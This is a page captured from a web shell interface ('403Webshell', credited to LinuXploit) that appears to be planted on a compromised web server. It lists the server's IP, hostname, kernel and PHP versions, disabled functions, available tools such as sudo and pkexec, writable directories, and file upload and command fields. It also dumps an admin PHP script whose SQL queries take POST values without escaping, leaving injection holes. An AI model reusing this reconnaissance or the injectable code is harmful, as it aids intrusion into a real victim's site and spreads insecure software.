403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/globavet.com/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/globavet.com/webadmin//services_add.php
<?php 
require 'check_login.php';
if ($logged_in <> 1) {
	header('Location: login.php');
	return;
}
else
{
require("configure.php");

$pid			= $_POST["pid"];
$title_en		= htmlspecialchars($_POST["title_en"],ENT_QUOTES);
$title_tc		= htmlspecialchars($_POST["title_tc"],ENT_QUOTES);
$levelnum		= $_POST["levelnum"];
$Sort			= $_POST["sort"];
$desc_en		= preg_replace("/'/","\'",$_POST["desc_en"]);
$desc_tc		= preg_replace("/'/","\'",$_POST["desc_tc"]);

//print_r($_POST); 

$sql = "select max(servicesid) as maxid from services ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result,MYSQL_ASSOC);
$servicesid = $row{maxid}+1;


if ($Sort == '' || $Sort == '0') {
	$sql = "select max(sort) as maxid from services WHERE parentid=".$pid." ";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result,MYSQL_ASSOC);
	$Sort = $row{maxid}+1;
}
if( mysql_num_rows(mysql_query("SELECT servicesid FROM services WHERE parentid=".$pid." AND sort=$Sort ")) > 0){
	mysql_query("UPDATE services SET sort= Sort+1 WHERE parentid=".$pid." AND sort >=$Sort ");
}

$sql = "insert into services (servicesid, parentid, levelnum, title_en, title_tc, desc_en, desc_tc, sort) 
		values ('$servicesid', '$pid', '$levelnum', '$title_en', '$title_tc', '$desc_en', '$desc_tc', '$Sort')";
mysql_query($sql);
if( mysql_errno() > 0 ){
	echo 'Add Our Services Error:<br />'. mysql_error() .'<br />SQL: '. $sql;
	exit;
}

mysql_close($dbh);

header("Location: services_index.php?pid=$pid&msg=Add Successful");
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit